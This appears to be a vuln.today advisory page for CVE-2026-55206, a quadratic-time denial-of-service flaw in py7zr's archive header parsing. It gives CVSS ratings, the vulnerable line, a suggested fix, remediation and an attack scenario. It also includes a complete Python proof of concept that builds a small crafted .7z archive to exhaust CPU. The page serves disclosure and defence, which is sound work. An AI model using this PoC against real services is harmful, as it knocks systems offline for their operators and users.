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py7zr CVE-2026-55206

| EUVDEUVD-2026-42397 HIGH
Inefficient Algorithmic Complexity (CWE-407)
2026-06-19 https://github.com/miurahr/py7zr GHSA-h4gh-22qq-72r7
8.7
CVSS 4.0 · Vendor: https://github.com/miurahr/py7zr
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Severity by source

Vendor (https://github.com/miurahr/py7zr) PRIMARY
8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.5 HIGH

Unauthenticated network input parsed with low complexity and no interaction (AV:N/AC:L/PR:N/UI:N); only availability is affected via CPU exhaustion, so C:N/I:N/A:H with scope unchanged.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
MEDIUM
qualitative

Primary rating from Vendor (https://github.com/miurahr/py7zr).

CVSS VectorVendor: https://github.com/miurahr/py7zr

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

6
Analysis Updated
Jul 08, 2026 - 21:32 vuln.today
v3 (cvss_changed)
Analysis Updated
Jul 08, 2026 - 21:31 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jul 08, 2026 - 21:22 vuln.today
cvss_changed
CVSS changed
Jul 08, 2026 - 21:22 NVD
8.7 (HIGH)
Source Code Evidence Fetched
Jun 19, 2026 - 23:44 vuln.today
Analysis Generated
Jun 19, 2026 - 23:44 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 363 pypi packages depend on py7zr (224 direct, 142 indirect)

Ecosystem-wide dependent count for version 1.1.3.

DescriptionCVE.org

Summary

PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() - no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.

Details

The vulnerable code is in PackInfo._read() (archiveinfo.py):

self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]

numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction.

Suggested fix - replace with O(n) cumulative sum:

from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))

PoC

import struct, io, binascii, time
  import py7zr
  from py7zr.archiveinfo import write_uint64, PROPERTY

  MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'

  def encode_uint64(v):
      buf = io.BytesIO()
      write_uint64(buf, v)
      return buf.getvalue()

  def build_7z_with_streams(numstreams):
      header = io.BytesIO()
      header.write(PROPERTY.HEADER)
      header.write(PROPERTY.MAIN_STREAMS_INFO)
      header.write(PROPERTY.PACK_INFO)
      header.write(encode_uint64(0))
      header.write(encode_uint64(numstreams))
      header.write(PROPERTY.SIZE)
      for _ in range(numstreams):
          header.write(encode_uint64(1))
      header.write(PROPERTY.END)
      header.write(PROPERTY.END)
      header.write(PROPERTY.END)
      header_data = header.getvalue()

      out = io.BytesIO()
      out.write(MAGIC)
      out.write(b'\x00\x04')
      next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
      start_header = (struct.pack('<Q', 0)
                      + struct.pack('<Q', len(header_data))
                      + struct.pack('<I', next_crc))
      out.write(struct.pack('<I', binascii.crc32(start_header) &
  0xFFFFFFFF))
      out.write(start_header)
      out.write(header_data)
      return out.getvalue()

  for n in [1000, 5000, 10000, 30000, 50000]:
      archive = build_7z_with_streams(n)
      start = time.time()
      try:
          with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:
              pass
      except Exception:
# The crafted archive may later raise due to being malformed,
# but the quadratic work has already been performed during
# header parsing in SevenZipFile.__init__().
          pass
      elapsed = time.time() - start
      print(f"n={n:6d}  size={len(archive):8d} bytes
  time={elapsed:.3f}s")

Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.

Results:

n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s

Impact

Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

AnalysisAI

Denial of service in py7zr (a pure-Python 7-Zip library) versions 1.1.2 and earlier lets a remote, unauthenticated attacker exhaust CPU with a tiny crafted .7z archive. The flaw is in header parsing (PackInfo._read), so merely opening the archive with SevenZipFile() - no extraction - triggers the cost; a ~50 KB file consumes roughly 7 seconds of CPU. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Reach py7zr upload/parse endpoint
Delivery
Submit crafted 50 KB .7z with huge numstreams
Exploit
Header parse hits O(n^2) packpositions loop
Execution
CPU pinned before any extraction
Impact
Repeat to exhaust server CPU

Vulnerability AssessmentAI

Exploitation The target application must open an attacker-supplied .7z archive from an untrusted source using py7zr.SevenZipFile() on version 1.1.2 or earlier. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H) scores 8.7 and accurately reflects a pure-availability impact: no confidentiality or integrity loss, but a low-complexity, unauthenticated, no-interaction trigger against any application that opens untrusted archives. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker uploads a ~50 KB .7z file with a maliciously large numstreams value to a service that opens archives with py7zr (for example a file scanner or upload processor). When the application calls SevenZipFile() to inspect the file, header parsing performs quadratic work and burns seconds of CPU before any extraction, and repeated requests exhaust server CPU. …
Remediation Vendor-released patch: upgrade to py7zr 1.1.3 or later (fix confirmed at https://github.com/miurahr/py7zr/releases/tag/v1.1.3 and advisory GHSA-h4gh-22qq-72r7); the patch both caps the parsed numstreams parameter and replaces the O(n^2) computation with an O(n) accumulate. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Inventory all systems and applications using py7zr to determine attack surface scope. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

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Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
openSUSE Tumbleweed Fixed

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CVE-2026-55206 vulnerability details – vuln.today

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